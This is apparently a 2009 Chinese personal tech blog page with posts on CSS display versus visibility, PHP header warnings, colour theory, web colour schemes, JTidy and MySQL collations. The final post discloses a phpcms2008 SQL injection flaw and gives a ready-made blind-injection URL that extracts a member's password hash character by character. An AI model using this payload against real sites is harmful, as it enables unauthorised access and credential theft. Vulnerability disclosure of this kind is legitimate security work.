实例分析CSS属性Display与Visibility不同
2009年5月27日星期三 | | 0 评论 | 大多数人很容易将CSS属性display和visibility混淆,它们看似没有什么不同,其实它们的差别却是很大的。 visibility属性用来确定元素是显示还是隐藏的,这用visibility="visible|hidden"来表示(visible表示显示,hidden表示隐藏)。 当visibility被设置为"hidden"的时候,元素虽然被隐藏了,但它仍然占据它原来所在的位置。例:
[Ctrl+A 全部选择进行拷贝 提示:可先修改部分代码,再点击运行]
另一方面,display属性就有一点不同了。visibility属性是隐藏元素但保持元素的浮动位置,而display实际上是设置元素的浮动特征。 当display被设置为block(块)时,容器中所有的元素将会被当作一个单独的块,就像<div>元素一样,它会在那个点被放入到页面中。(实际上你可以设置<span>的display:block,使其可以像<div>一样工作。 将display设置为inline,将使其行为和元素inline一样---即使它是普通的块元素如<div>,它也将会被组合成像<span>那样的输出流。 下面看我实例的代码和效果: <script language="JavaScript"> function toggleDisplay(me){ if (me.style.display=="block"){ me.style.display="inline"; alert("文本现在是:'inline'."); } else { if (me.style.display=="inline"){ me.style.display="none"; alert("文本现在是:'none'. 3秒钟后自动重新显示。"); window.setTimeout("blueText.style.display='block';",3000,"JavaScript"); } else { me.style.display="block"; alert("文本现在是:'block'."); } } } </script> <div>在<span id="blueText" onclick="toggleDisplay(this)" style="color:blue;position:relative;cursor:hand;">蓝色</span>文字上点击来查看效果.</div> [Ctrl+A 全部选择进行拷贝 提示:可先修改部分代码,再点击运行]
display 属性分别为block, inline, none 值及使用visibility: hidden;的情况调试示例: <h1>display 属性分别为block, inline, none 值及使用visibility: hidden;的情况调试</h1> <P><SPAN id="oSpan" style="background-color: #CFCFCF;">This is a SPAN</SPAN> in a sentence.</P> <P> <input type=button value="Inline" onclick="oSpan.style.display='inline'"> <input type=button value="Block" onclick="oSpan.style.display='block'"> <input type=button value="None" onclick="oSpan.style.display='none'"> <input type=button value="Hidden" onclick="oSpan.style.visibility='hidden'"><input type=button value="Visible" onclick="oSpan.style.visibility='visible'"> </P> <UL> <LI>将元素设为 block,会在该元素后换行。</LI> <LI>将元素设为 inline,会消除元素换行。</LI> <LI>将元素设为 none,隐藏该元素内容。</LI> </UL> From:网络 我的QQ空间 Mysql+PHPmyadmin提权技巧 Mysql+PHPmyadmin提权技巧本篇文章来源于 新世纪网安基地 (www.5... |
Ecshop 问题解决方案:Warning: Cannot modify header information - headers already sent by (output
2009年5月24日星期日 | | 0 评论 | 今天用Ecshop 做站时出现了一个问题: Warning: Cannot modify header information - headers already sent by (output started at D:\wwwroot\24shipment\jun\languages\zh_cn\common.php:1081) in D:\wwwroot\24shipment\jun\includes\init.php on line 149 Warning: Cannot modify header information - headers already sent by (output started at D:\wwwroot\24shipment\jun\languages\zh_cn\common.php:1081) in D:\wwwroot\24shipment\jun\includes\init.php on line 150 Warning: Cannot modify header information - headers already sent by (output started at D:\wwwroot\24shipment\jun\languages\zh_cn\common.php:1081) in D:\wwwroot\24shipment\jun\includes\cls_template.php on line 86 Warning: Cannot modify header information - headers already sent by (output started at D:\wwwroot\24shipment\jun\languages\zh_cn\common.php:1081) in D:\wwwroot\24shipment\jun\includes\lib_main.php on line 1867 一直弄都不行,,后来终于找到了解决方案: 现在特别把它贴出来,希望对大家有帮助. If you got this message: "Warning: Cannot modify header information - headers already sent by ...." 如果在执行php程序时看到这条警告:"Warning: Cannot modify header information - headers already sent by ...." Few notes based on the following user posts: 有以下几种解决方法: 1. Blank lines (空白行): Make sure no blank line after <?php ... ?> of the calling php script. 检查有<?php ... ?> 后面没有空白行,特别是include或者require的文件。不少问题是这些空白行导致的。 2. Use exit statement (用exit来解决): Use exit after header statement seems to help some people 在header后加上exit(); header ("Location: xxx"); exit(); 3. PHP has this annoying problem, if your HTML goes before any PHP code or any header modification before redirecting to certain page, it'll said "Warning: Cannot modify header information - headers already sent by ...." Basically anytime you output to browser, the header is set and cannot be modified. So two ways to get around the problem: 3a. Use Javascript (用Javascript来解决): <? echo "<script> self.location(\"file.php\");</script>"; ?> Since it's a script, it won't modify the header until execution of Javascript. 可以用Javascript来代替header。但是上面的这段代码我没有执行成功... 另外需要注意,采用这种方法需要浏览器支持Javascript. 3b. Use output buffering (用输出缓存来解决): <?php ob_start(); ?> ... HTML codes ... <?php ... PHP codes ... header ("Location: ...."); ob_end_flush(); ?> This will save the output buffer on server and not output to browser yet, which means you can modify the header all you want until the ob_end_flush() statement. This method is cleaner than the Javascript since Javascript method assumes the browser has Javascript turn on. However, there are overhead to store output buffer on server before output, but with modern hardware I would imagine it won't be that big of deal. Javascript solution would be better if you know for sure your user has Javascript turn on on their browser. 就像上面的代码那样,这种方法在生成页面的时候缓存,这样就允许在输出head之后再输出header了。本站的许愿板就是采用这种方法解决的header问题。 4.set output_buffering = On in php.ini (开启php.ini中的output_buffering ) set output_buffering = On will enable output buffering for all files. But this method may slow down your php output. The performance of this method depends on which Web server you're working with, and what kind of scripts you're using. 这种方法和3b的方法理论上是一样的。但是这种方法开启了所有php程序的输出缓存,这样做可能影响php执行效率,这取决于服务器的性能和代码的复杂度。 我的QQ空间 Mysql+PHPmyadmin提权技巧 Mysql+PHPmyadmin提权技巧本篇文章来源于 新世纪网安基地 (www.5... |
什么叫 三原色
| | 0 评论 |三原色
三原色分为两类, 一类是色光三原色,另一类是颜料三原色。
配图中右图是光的三原色,左图是颜料的三原色。
原色的加减性质
原色以不同比例混合时,会产生其他颜色。在不同的色彩空间系统中,有不同的原色组合。可以分为"叠加型"和"消减型"两种系统。色光三原色——加色法原理
人的眼睛是根据所看见的光的波长来识别颜色的。 可见光谱中的大部分颜色可以由三种基本色光按不同的比例混合而成, 这三种基本色光的颜色就是红(Red)、绿(Green)、 蓝(Blue)三原色光。这三种光以相同的比例混合、且达到一定的强度, 就呈现白色(白光);若三种光的强度均为零, 就是黑色(黑暗)。这就是加色法原理,加色法原理被广泛应用于电视机、监视器等主动发光的产品中。
颜料三原色——减色法原理
而在打印、印刷、油漆、绘画等靠介质表面的反射被动发光的场合, 物体所呈现的颜色是光源中被颜料吸收后所剩余的部分, 所以其成色的原理叫做减色法原理。 减色法原理被广泛应用于各种被动发光的场合。 在减色法原理中的三原色颜料分别是青(Cyan)、品红(Magenta)和黄(Yellow)。
应用与实践
美术教科书讲的是绘画颜料的使用,由于美术教材编写年代久远的缘故,目前绝大多数教材及论著中仍称红、黄、蓝为三原色。一般电视光色等光色是红、蓝、绿,色彩调色是红、黄、蓝,在美术实践中和生产操作中的情况与教科书上说的并不一致。彩色印刷的油墨调配、彩色照片的原理及生产、彩色打印机设计以及实际应用,都是黄、品红、青为三原色。彩色印刷品是以黄、品红、青三种油墨加黑油墨印刷的,四色彩色印刷机的印刷就是一个典型的例证。在彩色照片的成像中,三层乳剂层分别为:底层为黄色、中层为品红,上层为青色。各品牌彩色喷墨打印机也都是以黄、品红、青加黑墨盒打印彩色图片的。按照定义,原色应该能调制出绝大部分的其他色,而其他色都调不出原色。
美术实践证明,品红加少量黄可以调出大红(红=M100+Y100),而大红却无法调出品红;青加少量品红可以得到蓝(蓝=C100+M100),而蓝加白得到的却是不鲜艳的青;用黄、品红、青三色能调配出更多的颜色,而且纯正并鲜艳。用青加黄调出的绿(绿=Y100+C100),比蓝加黄调出的绿更加纯正与鲜艳,而后者调出的却较为灰暗;品红加青调出的紫是很纯正的(紫=C20+M80),而大红加蓝只能得到灰紫等等。此外,从调配其他颜色的情况来看,都是以黄、品红、青为其原色,色彩更为丰富、色光更为纯正而鲜艳。
综上所述,无论是从原色的定义出发,还是以实际应用的结果验证都足以说明,美术教材仍把红、黄、蓝称为三原色已经明显过时了。
穿越地震带 纪念汶川地震一周年
网站色彩搭配
| 标签: 网站制作 | 0 评论 |网页的色彩是树立网站形象的关键之一,色彩搭配却是网友们感到头疼的问题。网页的背景,文字,图标,边框,超链接...,应该采用什么样的色彩,应该搭配什么色彩才能最好的表达出预想的内涵呢?阿捷这里谈一些心得,希望对你有所启发。 首先我们先来了解一些色彩的基本知识: 1、颜色是因为光的折射而产生的。 2、红,黄,蓝是三原色,其它的色彩都可以用这三种色彩调和而成。网页html语言中的色彩表达即是用这三种颜色的数值表示例如:红色是color (255,0,0)十六进制的表示方法为(FF0000)白色为(FFFFFF), 我们经常看到的"bgColor=#FFFFFF"就是指背景色为白色。 3、颜色分非彩色和彩色两类。非彩色是指黑,白,灰系统色。彩色是指除了非彩色以外的所有色彩。 4、任何色彩都有饱和度和透明度的属性,属性的变化产生不同的色相,所以至少可以制作几百万种色彩。 网页制作用彩色还是非彩色好呢?根据专业的研究机构研究表明:彩色的记忆效果是黑白的3.5倍。也就是说,在一般情况下,彩色页面较完全黑白页面更加吸引人。 我们通常的做法是:主要内容文字用非彩色(黑色),边框,背景,图片用彩色。这样页面整体不单调,看主要内容也不会眼花。 非彩色的搭配 黑白是最基本和最简单的搭配,白字黑底,黑底白字都非常清晰明了。灰色是万能色,可以和任何彩色搭配,也可以帮助两种对立的色彩和谐过渡。如果你实在找不出合适的色彩,那么用灰色试试,效果绝对不会太差。 彩色的搭配 色彩千变万化,彩色的搭配是我们研究的重点。我们依然需要进一步学习一些色彩的知识。 一、色环。我们将色彩按"红->黄->绿->蓝->红"依次过度渐变,就可以得到一个色彩环。色环的两端是暖色和寒色,当中是中型色。红.橙.橙黄.黄.黄绿.绿.青绿.蓝绿.蓝.蓝紫.紫.紫红.红 . 暖色系. 中性系. 寒色系. 中性系 二、色彩的心理感觉。不同的颜色会给浏览者不同的心理感受。红色---是一种激奋的色彩。刺激效果,能使人产生冲动,愤怒,热情,活力的感觉。 绿色---介于冷暖两中色彩的中间,显得和睦,宁静,健康,安全的感觉。 它和金黄,淡白搭配,可以产生优雅,舒适的气氛。 橙色---也是一种激奋的色彩,具有轻快,欢欣,热烈,温馨,时尚的效果。 黄色---具有快乐,希望,智慧和轻快的个性,它的明度最高。蓝色---是最具凉爽,清新,专业的色彩。它和白色混合,能体现柔顺,淡雅,浪漫的气氛(象天空的色彩:) 白色---具有洁白,明快,纯真,清洁的感受。黑色---具有深沉,神秘,寂静,悲哀,压抑的感受。 灰色---具有中庸,平凡,温和,谦让,中立和高雅的感觉。 每种色彩在饱和度,透明度上略微变化就会产生不同的感觉。以绿色为例,黄绿色有青春,旺盛的视觉意境,而蓝绿色则显得幽宁,阴深。 网页色彩搭配的原理 1、色彩的鲜明性。网页的色彩要鲜艳,容易引人注目。 2、色彩的独特性。要有与众不同的色彩,使得大家对你的印象强烈。(参考设计思考第二篇网站CI的标准色彩一节) 3、色彩的合适性。就是说色彩和你表达的内容气氛相适合。如用粉色体现女性站点的柔性。 4、色彩的联想性。不同色彩会产生不同的联想,蓝色想到天空,黑色想到黑夜,红色想到喜事等,选择色彩要和你网页的内涵相关联。 网页色彩掌握的过程 随着网页制作经验的积累,我们用色有这样的一个趋势:单色->五彩缤纷->标准色->单色。一开始因为技术和知识缺乏,只能制作出简单的网页,色彩单一;在有一定基础和材料后,希望制作一个漂亮的网页,将自己收集的最好的图片,最满意色彩堆砌在页面上;但是时间一长,却发现色彩杂乱,没有个性和风格;第三次重新定位自己的网站,选择好切合自己的色彩,推出的站点往往比较成功;当最后设计理念和技术达到顶峰时,则又返朴归真,用单一色彩甚至非彩色就可以设计出简洁精美的站点。 网页色彩搭配的技巧 文章写到这里,有心急的网友要问了:"到底用什么色彩搭配好看呢?你能不能推荐几种配色方案?"别急,这里有一点技巧,可以帮助你迅速成为调色大师 1、用一种色彩。这里是指先选定一种色彩,然后调整透明度或者饱和度,(说得通俗些就是将 色彩变淡或则加深),产生新的色彩,用于网页。这样的页面看起来色彩统一,有层次感。 2、用两种色彩。先选定一种色彩,然后选择它的对比色(在photoshop里按ctrl+I)。我的主页用蓝色和黄色就是这样确定的。整个页面色彩丰富但不花稍。 3、用一个色系。简单的说就是用一个感觉的色彩,例如淡蓝,淡黄,淡绿;或者土黄,土灰,土蓝。确定色彩的方法各人不同,我是在photoshop里按前景色方框,在跳出的拾色器窗中选择"自定义",然后在"色库"中选就可以了。 4、用黑色和一种彩色。比如大红的字体配黑色的边框感觉很"跳"。 在网页配色中,忌讳的是: 1.不要将所有颜色都用到,尽量控制在三种色彩以内。 2.背景和前文的对比尽量要大,(绝对不要用花纹繁复的图案作背景),以便突出主要文字内容。 |
将特殊颜色透明
2009年5月23日星期六 | | 0 评论 | 滤镜:FILTER: chroma(color:#FFFFFF) <table cellspacing = "0" cellpadding = "0" border = "1"> |
穿越地震带 纪念汶川地震一周年
OCA Oracle 11g:巧用SQL子查询
2009年5月18日星期一 | | 0 评论 |OCA Oracle 11g:巧用SQL子查询
子查询指的是将一个SELECT的语句的输出作为另一个SELECT语句(或一个DML语句)的输入进行查询。本技术专题主要介绍了如何定义子查询、阐述了子查询的类型以及如何在SQL中使用子查询、编写单行或多行子查询等。
定义SQL子查询
在SQL中使用子查询
SQL子查询的类型
编写单行和多行子查询
穿越地震带 纪念汶川地震一周年
将HTML文档转换成XML
2009年5月11日星期一 | | 0 评论 | 来源:互连网 作者:互连网 发布时间:2005-04-01 在 Java 专家 Michael Geisler 为 Builder 澳大利亚写的第一篇文章中,他向读者展示了如何使用 JTidy 将 HTML 文档转换成 XML。 有关 Java 的最重要的事情是有很多扩展标准库能够作为标准平台的一部分,而且在那些库中有对 XML 提供了很多的支持。然而对于某些特定的需要,在标准库中可能没有直接的支持。 其实您有两个选择: 完全由自己来构建一些东西。这一般很痛苦,而且很费时间。 去"社区"看看是否已有人碰到了同样的问题(这种情况很有可能发生),看他是否乐意和您分享他的成果。 对于这个情况,SourceForge 上有一个很有用的小项目,叫做 JTidy。JTidy 的Web 站点位于 http://sourceforge.net/projects/jtidy/。 JTidy 提供 HTML 语法检查和 HTML 的"pretty printing(漂亮打印)",但是对于您来说,他还允许您将一个 HTML 文档作为输入,然后将其转换成为 XML。JTidy 读取输入文档,然后假如发现有任何不匹配或遗漏的闭合标记,将纠正这些标记,最后输出一个格式良好的 XML 文档。 从下面的示例代码中能够看到,JTidy 的用法相当简单。简单地将 JTidy 实例配置为输出 XML,提供一个输入 URL,输出文档和错误文档,然后启动转换过程就能够了。 import java.net.URL; import java.io.*; import org.w3c.tidy.Tidy; public class TestHTML2XML { private String url; private String outFileName; private String errOutFileName; public TestHTML2XML(String url, String outFileName, String errOutFileName) { this.url = url; this.outFileName = outFileName; this.errOutFileName = errOutFileName; } public void convert() { URL u; BufferedInputStream in; FileOutputStream out; Tidy tidy = new Tidy(); //Tell Tidy to convert HTML to XML tidy.setXmlOut(true); try { //Set file for error messages tidy.setErrout(new PrintWriter(new FileWriter(errOutFileName), true)); u = new URL(url); //Create input and output streams in = new BufferedInputStream(u.openStream()); out = new FileOutputStream(outFileName); //Convert files tidy.parse(in, out); //Clean up in.close(); out.close(); } catch (IOException e) { System.out.println(this.toString() + e.toString()); } } public static void main(String[] args) { /* * Parameters are: * URL of HTML file * Filename of output file * Filename of error file */ TestHTML2XML t = new TestHTML2XML(args[0], args[1], args[2]); t.convert(); } } 我的QQ空间 Mysql+PHPmyadmin提权技巧 Mysql+PHPmyadmin提权技巧本篇文章来源于 新世纪网安基地 (www.5... |
对 mysql Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (gb2312_chinese_ci,I的解决
2009年5月5日星期二 | | 0 评论 | 对于常见的乱码问题,有的在数据库本身已经为gbk或gb2312时候,但是查询出来却是乱码,这是因为mysql在连接的过程中还有道编码,因此将连接的编码设为gb2312或utf-8 即可,如: jdbc:mysql://localhost:3306/ipanel?useUnicode=true&characterEncoding=UTF-8 hibernate和jdbc的参数设置是不一样,但大体相同,网上类似的资料很多。 最重要的是这个问题: Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (gb2312_chinese_ci,IMPLICIT) for operation '=' 相信有很多人碰到,意思是说字符编码不一样,不能进行比较,也就是说数据库内部的编码都不一样,有的数据是 gbk_chinese_ci,有的数据是gb2312_chinese_ci,因此解决此问题的核心就是将数据库所有的编码进行统一。 进入命令行模式, 如果MySQL数据库已经安装好,可以使用下列SQL命令查看MySQL当前的字符集设置:
依次执行: set character_set_client =gb2312; SET collation_server = gb2312_chinese_ci SET collation_database = gb2312_chinese_ci SET collation_connection =gb2312_chinese_ci 执行完之后,请检查mysql下每个数据库,表,字段是否都是gb2312,不是则改过来,这样子就不会出现 Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (gb2312_chinese_ci,IMPLICIT) for operation '='这个错误了,网上有资料说要重装,其实根本就不必,改动其编码即可 我的QQ空间 Mysql+PHPmyadmin提权技巧 Mysql+PHPmyadmin提权技巧本篇文章来源于 新世纪网安基地 (www.5... |
phpcms2008漏洞
2009年5月3日星期日 | 标签: phpcms 2008 2007 CN 域名 免费注册 域名 | 0 评论 |PHPCMS从2007到2008,漏洞一直存在。
本代码只供参考,不得用于非法用途,站长们请做好防护!
受影响程序: phpcms2008 gbk
漏洞文件:ask/search_ajax.php
code:
listinfo($where, 'askid DESC', '', 10);
foreach($infos as $key=>$val) {$val['title'] = str_replace($q, ''.$q.'', $val['title']);$info[$key]['title'] = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $val['title']) : $val['title'];$info[$key]['url'] = $val['url'];}
echo(json_encode($info));?>
测试方法:ask/search_ajax.php?q=s%E6'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23
请不要拿别人的站测试,要测试请到官方下载并且本地测试!
所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected] |